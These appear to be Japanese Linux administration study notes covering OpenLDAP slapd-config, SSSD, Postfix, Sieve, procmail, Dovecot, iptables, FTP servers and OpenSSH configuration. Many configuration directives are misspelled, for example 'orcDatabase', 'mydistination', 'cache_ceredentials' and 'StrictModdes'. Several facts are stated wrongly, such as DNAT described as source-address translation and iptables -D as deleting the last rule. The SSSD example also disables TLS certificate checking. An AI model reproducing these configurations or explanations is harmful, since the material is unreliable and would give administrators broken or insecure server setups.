-b 識別名検索開始位置の指定

ldapsearchコマンド

LDAPサーバのエントリを検索するコマンド。

ldapsearch [オプション] 検索条件 [出力属性]
オプション説明
-h ホスト名/IPアドレス検索を行うLDAPサーバを指定
-H URI検索を行うLDAPサーバをldapuri形式で指定
-xSASLを使用せずに簡易認証を行う
-b 識別名検索開始位置の指定
-L検索結果をLDIFv1形式で表示
-LL検索結果をコメントなしで表示
-LLL検索結果をコメントとLDAPバージョン表記なしで表示

11.3.5. slapd-config

OpenLDAP2.3以降の設定方法はslapd-configと呼ばれる。 この方法ではLDAPのデータベース(ディレクトリ)に保存されている設定データを追加・変更・削除等することで、動的に設定を更新する。 これはディレクトリベースの設定と呼ばれ、通常は設定変更による再起動等が不要となる。

また、設定データベースのツリー構造のルートは、DN(識別名)がcn=configで定義され、変更できない。 設定を行う際は設定用のLDIFファイルを定義し、ldapaddldapdeleteldapmodifyといったコマンドにより、データベースを更新する。

グローバルセクションに使用する主なディレクティブ

グローバルセクションに使用する主なディレクティブは以下の通り。

slapd.confディレクティブslapd-configディレクティブ説明
argsfile ファイル名olcArgsFileslapdデーモン起動時のコマンド引数を格納するファイルの指定
pidfile ファイル名olcPidFileslapdのプロセスIDを格納するファイルの指定
include ファイル名olcInclude読み込む設定ファイルのを指定
logfile ファイル名olcLogFileデバックログの出力ファイルを指定
loglevel 数olcLogLevelログレベルの指定
idletimeut 秒数olcIdleTimeoutアイドル状態のクライアント接続を強制的に切断するまでの秒数指定
timelimit 秒数olcTimeLimitslapdが検索要求の応答に使う最大秒数の指定

データベースセクションで使用する主なディレクティブ

slapd.confとslapd-configのデータベースセクションで使用する主なディレクティブの対応表は以下の通り。

slapd.confディレクティブslapd-configディレクティブ説明
database 種類orcDatabaseバックエンドデータベースの種類を指定
suufix DNorcSuffixディレクリのトップとなるDNの指定
rootdn DNorcRootDNデータベース管理者のDNの指定
rootpw パスワードorcRootPWデータベース管理者のパスワードを指定
index 属性名 種類orcDbindex属性に作成するインデックスの種類の指定
dircetory ディレクトリorcDbDirectoryデータベースファイルを格納するディレクトリの指定

slapd-configで使用される基本的なディレクティブ

slapd-configで使用される基本的なディレクティブは以下の通り。 なお「olc」という文字は「OpenLDAP Configuration」の略となる。

ディレクティブ説明定義されるエントリと説明
orcLogLevelsyslogに出力するレベル指定
orcLogLevel:
cn=config
サーバ全体に適用
必須オブジェクトクラス: orcGlobal
orcIncludeincludeファイルを指定
orcInclude <ファイル名>
cn=include
slapd.confのincludeファイル用
必須オブジェクトクラス:orcIncludeFile
orcAttributeTypes属性名の定義
orcAttributeTypes: <属性名>
cn=schema
組み込みのスキーマ定義
必須オブジェクトクラス:orcSchemaConfig
orcObjectClassesオブジェクトクラスを定義
orcObjectClasses: <オブジェクトクラス>
cn=schema
組み込みのスキーマ定義
必須オブジェクトクラス:orcSchemaConfig
orcBackendバックエンドの指定
orbBackend = <タイプ>
必須オブジェクトクラス: orcBackendConfig: [type]
typeはbdb,config, ldap, ldif, passwdがある

slapd-configのアクセス権の設定

olcAccessディレクティブを用いてバインドしたDN(ユーザ)に応じたアクセス権の設定を行える。

olcAccess: to アクセス対象 by 要求者 アクセス権 by 要求者 アクセス権 ...

なお、複数行にまたがって記述する場合は2行目以降の行頭にスペースを入れる

olcAccess: to アクセス対象
 by 要求者 アクセス権
 by 要求者 アクセス権
アクセス制御対象説明
*すべてのエントリ
attrs=属性指定した属性のみ
dn=DN指定したDNのみ
filter=検索フィルタ検索フィルタにマッチするエントリ
接続元説明
*すべてのユーザ
annonymous認証前のユーザ
users認証されたユーザ
self接続中の認証済みユーザ自身
dn=DN指定したDNユーザ
アクセスレベル説明
write属性値を変更できる
read検索結果を参照できる
search検索できる
compare比較できる
auth認証を受けることができる
noneアクセスできない

11.4. SSSD

SSSDはLDAPなどの認証サービスとの通信を管理/情報をキャッシュする仕組み。 これによりLDAPサーバダウン時の可用性の向上や負荷を軽減することができる。

SSSDに設定は/etc/sssd/sssd.confで行う。

[sssd]
config_file_version = 2
services = nss, pam
domains = LDAP

[nss]
filter_users = root,dnsmasq,dbus,bin,daemon,games,gdm,lp,mail,mysql,news,ntp,openldap,sshd,sync,sys
filter_groups = root
homedir_substring = /home

[pam]

[domai/LDAP]
id_provider = ldap
ldap_uri = ldap://ldap.test.com:389
ldap_search_base = dc=test,dc=com
ldap_tls_reqcert = never
ldap_id_usb_start_tls = true
ldap_tls_cacert = /etc/pki/tls/certs/ca-bundle.crt

ldap_schema = rfc2307

cache_ceredentials = true
enumerate = true

sssdサービスはsystemctl start sssd.serviceで可能。 また/etc/nsswitch.confで以下のようにSSSDを参照するようにする。(sssと記述する)

passwd: files sss
shadow: files sss
group:  files sss

14.2.12 - 12.メールサービス

Linuxのメールシステムやpostfix,Sieveなどに関して

12.1. SMTPサーバの構築

12.1.1. メールの仕組み

メールを処理するソフトウェアにはMTA(メッセージ転送エージェント)、MDA(ローカルメール転送エージェント)、MUA(メールユーザエージェント)がある。MUAはメーラ(メールソフトウェア)となる。

  • MUA(Mail User Agent):メールの確認や作成を行うユーザインタフェース
  • MTA(Mail Transfer Agent):メールの転送
  • MDA(Mail Delivery Agent):メールの配送(仕分け)

メール

メール転送のフローは以下の通り。

  1. MUAからメールサーバMTAはメールを受け取る
  2. メールサーバMTAはDNSサーバに問い合わせ配送先のメールサーバMTAを調べて転送する
  3. 配送先メールサーバMTAがメールを受け取るとMDAにより宛先ユーザのメールボックスにメールを収納する
  4. 受取先ユーザはPOPサーバやIMAPサーバ経由でメールボックスからメールを取り出す

MUAからメールをMTAに送信するとき、MTA間でのやり取りはSMTPが使用されるため、MTAはSMTPサーバと呼ばれる。 MUAがメールを受け取る際はPOPやIMAPが使用され、現在は主にPOP3やIMAP4が使用される。

SMTPサーバの代表的なものにはPostfixsendmaileximなどがある。 POP/IMAPサーバにはDovecotやCourier Mail Serverなどがある。

メールボックスの形式には2種類ある。

  • mbox形式 … /var/mailディレクトリに1ユーザ1ファイルとして保存する形式(1つのファイルに全部保存)
  • Maildir形式 … ユーザのホームディレクトリ以下に1メール1ファイルとして保存する形式

12.1.2. Postfixとは

Postfixはsendmailと互換性を持つ新規開発されたMTA。 高速動作と設定が簡単なのが特徴で、デフォルトで使用するMTAとして最も一般的となっている。 Postfixは単一のデーモンプではなく複数のプログラムが協調して動作する。

Postfixを構成するプログラムは以下の通り。

プログラム役割
sendmailsendmail互換インターフェース
smtpd外部配送の処理
pickupmaildropキューの監視、内部配送の処理を行う
cleanupヘッダ内の書き換えなどを来ないincomingキューに入れqmgrに通知する
qmgrキュー内のメール配送プログラムに渡す
nqmgrqmgrと同じ(配送アルゴリズムのみ異なる)
master全体制御用デーモン
bounceバウンスメール(設定ミスなどで往復する)を処理する

12.1.3. Postfixの設定

Postfixの設定ファイルは/etc/postficディレクトリ以下のmain.cfmaster.cfで行う。 main.cfはMTAの基本設定ファイル、master.cfはPostfix構成する各種デーモンの設定ファイルとなる。

main.cfの設定

main.cfの書式は以下の通り。

設定項目 = パラメータ[, パラメータ ...]

#でコメントアウト$を設定項目に付けると変数名のように参照できる。 設定例は以下の通り。

# ホスト名
myhostname = www.sample.com

# ドメイン名
mydomain = example.com

# メールアドレスの@以降のドメイン名
myorigin = $mydomain

# SMTP接続を待ち受けるNIC
inet_interfaces = all

# IPv4/IPv6の動作をall/ipv4/ipv6で指定
ip_protocols = all

# ローカル配送を行うドメイン名(メール受け取りドメイン名)
mydistination = $myhostname, localhost. $mydomain, localhost, $mydomain,mail.$mydomain, www.$mydomain, ftp.$mydomain

# 中継許可するSMTPクライアントのアドレス
mynetworks = 172.20.0.0/16, 127.0.0.0/8

# メールスプールディレクトリ
mail_spool_directory = /var/spool/mail

# ローカル配送を行うプログラム
mailbox_command = /usr/bin/procmail

# SMTPで出力されるバナー情報(デフォルトではバージョン非表示)
smtpd_banner = $myhostname ESMTP $mail_name

postconfコマンド

Postfix全般設定値を表示するコマンド。 なお表示される値は設定ファイルに基づいて表示される。

postconf

-nオプションではデフォルト値から変更されている項目のみ表示される。

master.cfの設定

Postfixを構成するプロセスの動作を設定するファイル。

postfixコマンド

Postfixの制御を行うコマンド。

postfix <サブコマンド>
オプション説明
startPostfixの開始
stopPostfixの停止
abortPostfixの強制停止
flushキュー内にあるメッセージの再送
reloadPostfixの設定を再読み込みする
check設定ファイルの構文チェックを行う

また起動スクリプトやsystemdによる起動停止も行える。

/etc/init.d/postfix stop
systemctl stop postfix.services

Postfixの正規化機能

Postfixにはcanonical(正規化)と呼ばれる、送信者、受信者のアドレスを書き換える機能がある。 この機能により、以下のようなことが可能となる。

  • 異なる送信者から受け取ったメールを、単一の送信者から送られたように見せる
  • ユーザ名(ログインID)と異なるメールアドレスを使用する

canonical機能は以下の手順で有効にする。

  1. main.cfにて、書き換えルールの参照先(検索テーブル)を指定 * 書き換えルールには以下のパラメータが指定可能 * canonical_maps:送受信時の書き換えで参照する検索テーブル * sender_canonical_maps:送信者アドレスの書き換え時に参照する検索テーブル * recipient_canonical_maps:受信者アドレスの書き換え時に参照する検索テーブル
  2. 検索テーブルの作成、更新

なお、指定する検索テーブルにはMySQLやPostgreSQLなどのデータベース、LDAP、正規表現などが使える。

12.1.4. メールのリレー

メールのリレーはMTA間でのメール中継のこと。 他ホスト宛てのメールを受け取った場合、MTAはそのメールリレーを許可するか判断する。 リレーを無制限に許可すると、スパム送信の踏み台として利用されかねないので設定をしっかり行う必要がある。

以下の原則に従うと良い。

  • リレーを許可したいLAN内のアウトバンドメールは許可
  • リレーを許可したいドメインのメールは許可
  • 外部のアウトバンドメールは拒否

なお一般的にはデフォルト設定でメールリレーは禁止されている。 Postfixの場合はmydistinationパラメータやmynetworksパラメータで制御を行う。

12.1.5. メールエイリアス/メール転送

/etc/aliases(または/etc/mail/aliases)によりメールアカウントと実際に受け取るユーザ名の対応設定ができる。 書式は以下の通り。

アカウント:   受取ユーザ1[, 受取ユーザ2...]

受取ユーザの別名ではユーザ以外に以下のように指定できる。

別名説明
/pathパスにあるファイルにメールメッセージを追加する
|command指定したコマンドの標準入力へメールメッセージを送る
user@domain指定したメールアドレスにメールを転送する
:include:/pathパスに指定したファイルに別名として読み込む

newaliasesコマンド

/etc/aliasesのファイル内容を変更後に設定を反映させるコマンド。

newaliases

.forwardファイル

ユーザのホームディレクトリに.forwardファイルを作成し、そこに届けたい先のメールアドレスを記述すると、そのユーザに届いたメールアドレスを届けたい先のメールアドレスに転送できる。

12.1.6. SMTPサーバの運用と管理

メールキュー

メールキューは処理待ちメールが一時的に保持される場所のこと。 各MTAでは以下の場所に格納される。

  • Postfix
    • /var/spool/postfixディレクトリ以下のサブディレクトリ
    • mailqコマンドで内容表示可能
    • postfix flushコマンドで直ちに送信が可能
    • postsuper -dコマンドでメールキュー内のメールを削除可能
  • Sendmail
    • /var/spool/mqueueディレクトリ以下
    • postqueue -pコマンドで内容表示可能
    • postqueue -fコマンドで直ちに送信が可能

メールボックス

メールボックスはメールサーバが受け取ったメールが保存される場所。 各MTAでは以下の場所に格納される。

  • Postfix
    • /var/spool/postfixディレクトリ以下のユーザ名のテキストファイル
    • メールの保存にはmbox形式とmaildir形式が使用できる
    • maildir形式の利用設定にはhome_mailbox = Maildir/とmain.cfで記述する
  • Sendmail
    • /var/spool/mailディレクトリ以下のユーザ名のテキストファイル

12.2. メールのフィルタリング

メールのフィルタリングはスパムメールなどのメールをルールに従って振り分ける仕組み

12.2.1. Sieveの設定

Sieveはメールフィルタリングを行うための記述言語。 **「コントロール」「テスト」「アクション」**という3種類のコマンドで構成される。 Dovecotと連携し、サーバ側でメールフィルタリング処理を実行できる。

書式は以下の通り。

if 条件 {
    条件がマッチした場合の処理;
}

5GByteを超えるメールを拒否する設定例は以下の通り。

require ["reject"]

if size :over 5G {
    reject "Too Big Size";
}

sleveのコントロールは以下の通り。

コントロール説明
ifif-elsif-else
require拡張機能を指定
stop処理を停止

sieveの主なアクションは以下の通り。

アクション説明
fileinfoメールを指定したメールボックスに配送する
keepメールをデフォルトのメールアドレスに配送する
discardメールを破棄する
rejectメールを拒否する
redirectメールを指定したメールアドレスに転送する
stop処理を停止する
テスト説明
addressアドレスを評価
headerメールヘッダを評価
sizeメールサイズの評価
allofAND
anyofOR
notNOT
true
false

12.2.2. Procmailの設定

ProcmailはMDAの1つでMTAが受け取ったメールをここユーザに配送する。 procmaliをMDAに使うとメールフィルタリングや不要メールの自動破棄などが可能。

フィルタリング設定は各ユーザのホームディレクトリの.procmailrcファイルで設定を行う。 フィルタリングルールはレシピと呼ばれ3行で指定する。

:0 [フラグ] [:ロックファイル]
* 条件式
アクション

フラグはprocmailにメールを渡す方法を指定。条件式は正規表現でメール条件を記述する。

フラグ説明
D大文字小文字を区別する
Hメールのヘッダ部分で検索する
Bメールの本文部分で検索する
cメールのコピーを残す
hアクションにヘッダ部分を渡す
bアクションに本文部分を渡す
条件式説明
!条件否定
>指定したバイト数より大きいときに処理
<指定したバイト数より小さいときに処理
アクション説明
/dev/null破棄する
ファイル名指定したファイル名のファイルに格納する
ディレクトリ名ディレクトリ内にファイル名を付けて保存する
ディレクトリ名/.ディレクトリ内に連番を付けて格納する
|パス名指定したパスのプログラムに渡す
!メールアドレス指定したメールアドレスに転送する

12.3. POP/IMAP

POP/IMAPはメーラがメールボックスからメールを取りf出すのに使用する。 これらのサービスの利用にはDovecotCourier IMAPなどがある。

  • Dovecot
    • POP3/IMAPをサポートするMRA
    • Maildir及びmbox形式のメールボックスをサポート
  • Courier IMAP
    • 主にIMAPをサポートするMRA
    • Maildir形式のメールボックスのみをサポート

12.3.1. Dovecot

DovecotはPOP3/IMAP4に加えSSL/TLSに対応したMDA。 設定は/etc/dovecot.confで行う。

Dovecotの設定項目は以下の通り。

設定項目説明
auth_mechanisms利用する認証メカニズム
mail_locationメールの配送場所と配送形式
sslSSL/TLSの有効化のどうか
ssl_certサーバ証明書のファイル
ssl_keyサーバ鍵ファイル

メール関連のポートは以下の通り。

ポート説明
110POP3
143IMAP
993IMAP over SSL/TLS
995POP3 over SSL/TLS
# dovecot.confより
listen = 192.168.1.1

protocols = imap pop3 lmtp

# psコマンドの出力に詳細表示を行う
verbose_proctitle = yes

# /conf.d/10-mail.confより
mail_location = mbox:~/mail:INBOX=/var/spool/mail/%u

# /conf.d/10-auth.confより
auth_mechanisms = plain login cram-md5 apop digest-md5

# /conf.d/20-imap.confより
protocol imap {
    mail_max_userip_connections = 10
}

auth default {
    mechanisms = plain login cram-md5 apop digest-md5
}

doveconfコマンド

Dovecotの設定内容を出力できるコマンド。

doveconf
オプション説明
-nデフォルト以外の設定を表示
-c設定ファイルを指定

doveadmコマンド

Dovecotの管理用コマンド。

doveadm <サブコマンド>
サブコマンド説明
config設定内容を表示
reload設定の再読み込み
stopdovecotプロセスの終了
log findログファイルパスの確認
log testテストログメッセージの生成
mailboxメールボックスを管理
whoサーバログイン中のユーザ情報表示
pwパスワードハッシュ値の生成

14.2.13 - 13.システムセキュリティ

パケットフィルタリング、iptables、FTP/OpenSSH、Linuxのセキュリティ設定、OpenVPNなどに関して

13.1. パケットフィルタリング

パケットフィルタリングはカーネルが処理するパケット情報を調べて通過させたり遮断させたりすること。 パケットフィルタリングはINPUT(入力),OUTPUT(出力),FORWARD(転送)の3か所で行う。 それぞれINPUTチェイン、OUTPUTチェイン、FORWARDチェインと呼ばれる。

なおチェインはパケットを検査するためのルールセットのこと。 ネットワークインターフェイスを通過するパケットはチェインのルールに適合する検査され、破棄されたり通過させたりされる。 チェインのいくつか集めたセットはテーブルと呼ばれる。 テーブルには以下の種類がある。

テーブルデフォルトチェイン
filterINPUT, OUTPUT, FORWARD
natPREROUTING, POSTROUTING, OUTPUT
mangleINPUT, OUTPUT, FORWARD, PREROUTING, POSTROUTING

13.1.1. iptablesコマンド

iptablesコマンドはパケットフィルタリングやNAT(ネットワークアドレス変換)の設定を行うコマンド。 書式は以下の通り。

# チェインの最後にルールの追加/削除
iptables -[AD] チェイン ルール

# チェインのポリシ変更
iptables -P チェイン ターゲット

# ユーザ定義チェインの一覧表示/強制全削除/作成/削除
iptables -[LFNX] チェイン

# NATテーブルの表示
iptables -t NAT -L

# チェインにルールを挿入
iptables -I チェイン [ルール番号] ルール
オプション説明
-v詳細に表示する
-n数値で表示する
–line-numbersルール番号を表示する
コマンド説明
-A指定したチェインの最後にルールを追加
-D指定したチェインの最後のルールを削除
-P指定したチェインのポリシ変更を行う
-L [チェイン]ルールのリストを表示する
-N チェイン指定した名前のユーザ定義チェインを作成
-X チェイン指定した名前のユーザ定義チェインを削除
-lルール番号を指定してルールを挿入
-F チェイン指定したチェインのルールをすべて削除
チェイン説明
INPUTホストに入ってくるパケット
OUTPUTローカルマシンで生成されたパケット
FORWARDホストを経由するパケット
PREROUTING入ってきたパケットの変換
POSTROUTING出ていくパケットの変換
ターゲット説明
ACCEPTパケット通過の許可
DROPパケットを破棄
REJECTパケットを拒否(送信元に通知する)
MASQUERADE送信元IPアドレスのポート番号変換
SNAT送信元IPアドレスの変換
DNAT送信元IPアドレスの変換
LOGログに出力
ルール説明
-s 送信元送信元IPアドレス
-d 送信元送信元IPアドレス
–sport ポート番号送信元ポート番号
–dport ポート番号送信元ポート番号
–to宛先指定(IPアドレス:ポート番号)
-j ターゲット適用されるターゲット
-p プロトコルプロトコル(tcp,udp,icmp,all)
-i インターフェイス名入力インターフェースの指定
o インターフェース名出力インターフェースの指定

使用例は以下の通り。

# FORWARDチェインのポリシーをDROP変更
iptables -P FORWARD DROP

# 特定のIPからのICMPパケットを拒否する
iptables -A INPUT -p icmp -s 192.168.2.0/24 -j REJECT

# パケットフィルタリングの挙動をログに保存する(journalctlなどで確認可能)
iptables -A INPUT -p tcp --dport 23 -j LOG --log-prefix "Telnet Trying ..."
iptables -A INPUT -p tcp --dport 23 -j DROP

iptables設定の保存

各ディストリビューションにおけるiptablesの保存方法は以下の通り。

# RedHat系
service iptables save

iptables-save > /etc/sysconfig/iptables

# Debian系
iptables-save > /etc/iptables/rules.v4

iptables設定の復元

iptables設定の復元はiptables-restoreコマンドで行う。

iptables-restore < iptables.backup

firewalld

CentOS7系やUbuntu22.04などではFWの仕組みにfirewalldが採択されている。 そのためデフォルトではiptablesを利用できない。

この場合利用するとき、firewalldサービスを停止しiptables-serviceパッケージをインストールする必要がある。 なおUbuntuなどではiptablesコマンドではなくufwコマンドを用いてFWの設定を行うのが一般的となる。

13.1.2. ポート転送

ポート転送は外部から届いたパケットの送信先ポート番号を変えて内部に転送すること。 以下に、外部(eth1)、内部(172.16.0.0/16)の172.16.0.2の80ポートに届くようにする際の設定例を記載する。

iptables -A FORWARD -d 172.16.0.2 -p tcp --dport 80 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 8080 -i eth0 -j DNAT --to 172.16.0.2:80

13.1.3. ip6tablesコマンド

IPv6の場合にパケットフィルタリングの設定を行うコマンド。 使い方はip6tablesコマンドとほぼ同じとなっている。

iptables設定の保存

各ディストリビューションにおけるip6tablesの保存方法は以下の通り。

# RedHat系
service ip6tables save

ip6tables-save > /etc/sysconfig/ip6tables

# Debian系
ip6tables-save > /etc/iptables/rules.v6

13.2. ルータの構成

Linuxホストをルータとして利用することもできる。 ルータとして使用するにはルーティングテーブルを適切に設定する必要がある。

13.2.1. ルーティングテーブル

route/netstat -rコマンド

routeコマンドやnetstat -rコマンドはルーティングテーブルを表示するコマンド。 ルーティングテーブルに表示されるエントリには静的経路、動的経路がある。

  • 静的経路 … routeコマンドにより設定される経路
  • 動的経路 … ルータ同士が情報交換することで自律的形成される経路

Linuxで動作するルーティングソフトにはQuaggaがある。 なお動的経路を使用しない場合はパケットフィルタリングのiptablesのみで十分となる。

Linuxをルータとして使用する場合は以下ファイルの値が1である必要がある。

  • IPv4の場合 … /proc/sys/net/ipv4/ip_forward
  • IPv6の場合 … /proc/sys/net/ipv6/conf/all/forwarding

上記設定のみではシステム再起動後に設定が初期化されるので、/etc/sysctl.confファイルや/etc/sysconfig/networkファイルにFORWARD_IPv4=yesnet.ipv4.ip_forward=1など記述する必要がある。

13.2.2. IPマスカレード

IPマスカレードはLAN側ホストがインターネットを利用する際にIPアドレスをグローバルアドレスに変換したり、その逆を行う機能のこと。 IPマスカレード設定をLinuxで行う場合はiptablesで以下のように設定する。

iptables -t nat -A POSTROUTING -o eth1 -j MASQUERADE

設定例は以下の通り。

iptables -t nat -A POSTROUTING -s 192.168.0.0/24 -o eth1 -j SNAT 10.1.2.3

13.3. FTPサーバのセキュリティ

Linux/Unix系OSで使用されているFTPサーバにはwu-ftpdや設定が容易であるProFTPDや、安全性の高いvsftpd、セキュリティと実用性重視のPure-FTPDなどがある。

13.3.1. ProFTPD

ProFTPDはproftpd.confで設定を行う。 なお書式はApacheの設定と似ているため設定しやすい。

# アクセス時表示のサーバ名
ServerName                      "ProFTPD Default Installation"
# デーモン(standalone)かスーパーサーバ(inetd)経由かを指定
ServerType                      standalone
# バージョンを隠す
ServerIdent                     No
# Rootログインを許可しない
RootLogin                       Off
# ホームディレクトリより上のディレクトリに移動禁止
DefaultRoot

# PAM認証
AuthPAMAuthorization            on

# タイムアウトするまでの秒数
TimeoutIdle 120
# ポート番号
Port                            21
# Umask値
Umask                           022
# 最大接続クライアント数
maxClientPerHost                10
# 最大子プロセス数
MaxInstances                    30
# 子プロセスの実行ユーザ/実行グループ
User                            nobody
Group                           nobody
<Global>
    # ファイル上書きファイル転送の許可
    AllowOverwrite yes
    <Limit All SITE_CHMOD>
        # 全てのFTPコマンドとアクセス権限の変更
        AllowAll
    </Limit>
</Global>

# 読み取りは許可/書き込みは禁止
<Limit READ>
    AllowAll
</Limit>
<Limit STOR>
    DenyAll
</Limit>

# 全てのIPアドレスからのログイン許可
<Limit LOGIN>
Order Deny.Allow
Allow from all
</Limit>

# 匿名ログインの同時接続ユーザ数と超過メッセージ
MaxClients  100 "Sorry, max %m users -- try again later"

# ファイル転送ログ
TransferLog /var/log/proftpd/xferlog/legacy

アクセス制御はLimitディレクティブで行う。 Limitディレクティブにはアクセス制御ディレクティブやFTPコマンド/FTPコマンドグループを記述できる。

<Limit FTPコマンド/FTPコマンドグループ>~</Limit>
アクセス制御ディレクティブ説明
Order Allow,deny/deny.allowAllowとDenyがチェックされる順序
Allow from 場所許可するホストやネットワーク設定
AllowAll許可を明示
AllowUser許可するユーザ
AllowGroup許可するグループ
Deny from 場所拒否するホストやネットワーク設定
DenyAll拒否を明示
DenyUser拒否するユーザ
DenyGroup拒否するグループ
FTPコマンド説明
RETRサーバからクライアントへのファイル転送
STORクライアントからサーバへのファイル転送
RENファイル名変更
DELEファイル削除
RMDディレクトリ削除
SITE_CHMODパーミッション変更
FTPコマンドグループ説明
DIRSファイル一覧の取得
READファイルの読み取り
WRITEファイル/ディレクトリの作成/削除
ALLすべてのFTPコマンド
LOGINログイン

13.3.2. vsftpd

vsftpdの設定はvsftpd.confで設定を行う。

# ローカルユーザログインの許可
local_enable=Yes

# 書き込みを許可
write_enable=Yes

# umask値を022にする
local_umask=022

# 20番ポートからの送信接続
connect_from_port_20=YES

# ファイル転送ログを残す
xferlog_enable=YES

# ファイル転送ログファイル
xferlog_file=/var/log/vsftpd.log

# ログファイルの形式(YESの場合はwu-ftpdと同様の形式)
xferlog_std_format=NO

13.3.3. FTPサーバのアクセス制御

FTPログインを許可しないユーザの指定は/etc/ftpusersにユーザリストを記述する。 主にrootユーザやシステムアカウントを記述すると良い

root
bin
daemon
mail
:
:

chroot機能で特定のディレクトリ以外のディレクトリにユーザが移動することを禁止できる。 これはセキュリティ上重要な設定となる。

  • proftpd.confの場合
    • DefaultRoot ~
  • vsftpd.confの場合
    • chroot_local_user=YES
    • chroot_list_file=/etc/vsftpd.chroot_List

13.3.4. Pure-FTPD

Pure-FTPDの場合はpure-ftpd.confで設定を行う他、起動時のオプションで動作を指定することもできる。

オプション説明
-4IPv4のみの利用
-A全ユーザにchrootの利用
-Bデーモンとして動作する
-c 数最大クライアント数
-C 数IPアドレスあたりの最大クライアント数
-e匿名ユーザのみログインを許可する
-E匿名ユーザの利用拒否
-i匿名ユーザにファイルのアップロードを禁止する
# 全ユーザに対してchrootを適用
ChrootEveryone yes

# 最大クライアント数
MaxClientsNumber 50

# IPアドレス当たりの最大クライアント数
MaxClientPerIP 8

# Yesでデーモン動作、Noでxinitd経由(スーパーデーモン)
Daemonize yes

# ドットファイルの表示の有無
DisplayDotFiles yes

# PureDBの利用
PureDB /etc/pure-ftpd/pureftpd.pdb

# PAM認証の利用有無
PAMAuthentication no

13.2.5. パッシブモード

通常FTPサーバはデータ転送に20/21番ポートを使用し、一般的にはクライアントからサーバ側へ接続要求を行う。 FTPのデータ転送に関してはFTPサーバ側からクライアントに接続要求するアクテイブモードと言われる方法となる。

この場合クライアント側のFWの設定なので接続できない場合があるためパッシブモードでFTPサーバを動作させることで回避できる。 パッシブモードではデータ転送の際にクライアント側からサーバへ接続要求することができる。

各サーバにおけるパッシブモードの設定方法は以下の通り。

# proftpd.confの場合

# ルータのWAN側IPアドレス
MasqueradeAddress 10.2.3.4

# 利用するポート設定
PassivePorts 52000 52020
# vsftpdの場合

pasv_enable=YES
# Pure-FTPDノヴァ愛

PassivePortRange 30000 50000

13.2.6. 匿名FTPサーバ

匿名FTPサーバ(Annonymous FTP)は匿名でFTPサーバを利用できるようにすること。 この場合chrootにより権限のないディレクトリにアクセスできないようにすることが重要となる。

方法としては以下の通り。

  1. /home/ftpなどのディレクトリを作成する
  2. /bin,/lib,/etcなどを作成しFTPサービス運営に必要なファイルをコピーする
  3. anonnymousユーザ用のディレクトリ(/home/ftp/pub)などを作成する
  4. /home/ftpにchrootする

上記手順により他のディレクトリにannonymousユーザはアクセスできなくなる。

# proftpdの場合

<Anonymous ~ftp>
User ftp
Group ftp

    # ダウンロードのみ許可
    <Limit READ>
        AllowAll
    </Limit>
    <Limit STOR>
        DenyAll
    <Limit>
</Anonymous>
# vsftpdの場合

# 匿名FTPの許可
anonymous_enable=YES
# 匿名ユーザによるアップロード禁止
anon_upload_enable=NO
# 匿名ユーザによるディレクトリ作成などを禁止
anon_mkdir_write_enable=NO

13.4. OpenSSH

SSHはリモートホスト通信において高いセキュリティで実現するものといえる。 LinuxではOpenBSDによるSSH実装であるOpenSSHが一般的に利用される。 SSHにはVer1.0とVer2.0系があり、それぞれ公開鍵認証のアルゴリズム形式が異なる。

SSHのバージョン公開鍵認証のアルゴリズム
1.0系RSA
2.0系DSA, ECDSA, ED25519, RSA

13.4.1. SSH設定

SSHサーバ機能はsshdデーモンにより提供される。 設定ファイルは/etc/ssh/sshd_configとなる。

主要な設定項目は以下の通り。

設定項目説明
PortSSHで使うポートの設定
Protocol使用するSSHのバージョン
ListenAddredd接続受付アドレス(0.0.0.0ですべて)
HostKeyホスト鍵のファイルパス
SyslogFaciltyログのファシリティ
LogLevelログのプライオリティ
LogGraceTimeログインを試みることのできる最大時間(秒)
PermitRootLoginrootログインの禁止許可
StrictModdesパーミッションを厳密にチェックするかどうか
MaxAuthTimes認証を試みることのできる最大数
RSAAuthenticationSSH1で公開鍵認証を許可するかどうか
PubkeyAuthenticationSSH2で公開鍵認証を許可するかどうか
AuthorizedKeysFile公開鍵を登録するファイル
PasswordAuthenticationパスワード認証の有効/無効化
PermitEmptyPasswords空パスワードの有効/無効
ChallengeResponseAuthenticationチャレンジレスポンス認証の有効/無効化
UsePAMPAMを使用する
X11ForwardingX11フォワーディングの無効/有効化
AllowUsersログインを許可するユーザ
DenyUsersログインを禁止するユーザ
AllowGroupsログインを許可するグループ
DenyGroupsログインを許可するグループ
SubSystem外部サブシステムの指定(ファイル転送デーモンなど)

また/etc/ssh/sshd_configの設定例は以下の通り。

Port 22
Protocol 2
ListenAddress 0.0.0.0

HostKey /etc/ssh/ssh_host_key
HostKey /etc/ssh/ssh_host_rsa_key
HostKey /etc/ssh/ssh_host_dsa_key

SyslogFacility AUTHPRIV
LogLevel INFO

LOGGraceTime 2m
PermitRootLogin no
StrictMode yes
MaxAuthTries 6

RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys

PasswordAuthentication no
PermitEmptyPasswords no

UsePAM yes
X11Forwarding yes

# SFTPを行う場合の設定
Subsystem sftp /usr/libexec/openssh/sftp-server

13.4.2. ホスト認証/ユーザ認証

SSHでは最初にユーザ認証の前にホストの正当性を確認するホスト認証が行われる。

ホスト認証

ホスト認証は接続先ホストの正当性を確認する検証。 DNSサーバのクラックなど不正なホストに接続されてしまう場合などの対策のために実装されている。 具体的には公開鍵暗号方式を用いることでホストの正当性を保証する。

具体的には公開鍵と秘密鍵を用いて認証を行う。 OpenSSHのインストールでローカルホスト用の公開鍵と秘密鍵が生成される。 このとき秘密鍵は外部に漏れないように厳重に管理する。 なお生成されたファイルは/etc/ssh/以下に保存される。

ファイル名説明
ssh_host_key秘密鍵(Ver1.0)
ssh_host_dsa_key秘密鍵(Ver2.0 DSA用)
ssh_host_rsa_key秘密鍵(Ver2.0 RSA用)
ssh_host_key.pub公開鍵(Ver1.0)
ssh_host_dsa_key.pub公開鍵(Ver2.0 DSA用)
ssh_host_rsa_key.pub公開鍵(Ver2.0 RSA用)
ssh_host_ecdsa_key秘密鍵(Ver2.0 ECDSA用)
ssh_host_ecdsa_key.pub公開鍵(Ver2.0 ECDSA用)
ssh_host_2d25519_key秘密鍵(Ver2.0 ED25519用)
ssh_host_2d25519_key.pub公開鍵(Ver2.0 ED25519用)

SSH接続時にホストの公開鍵がクライアント側に送られる。 このときクライアントは所持するホスト鍵と一致することでホストの正当性を確認する。

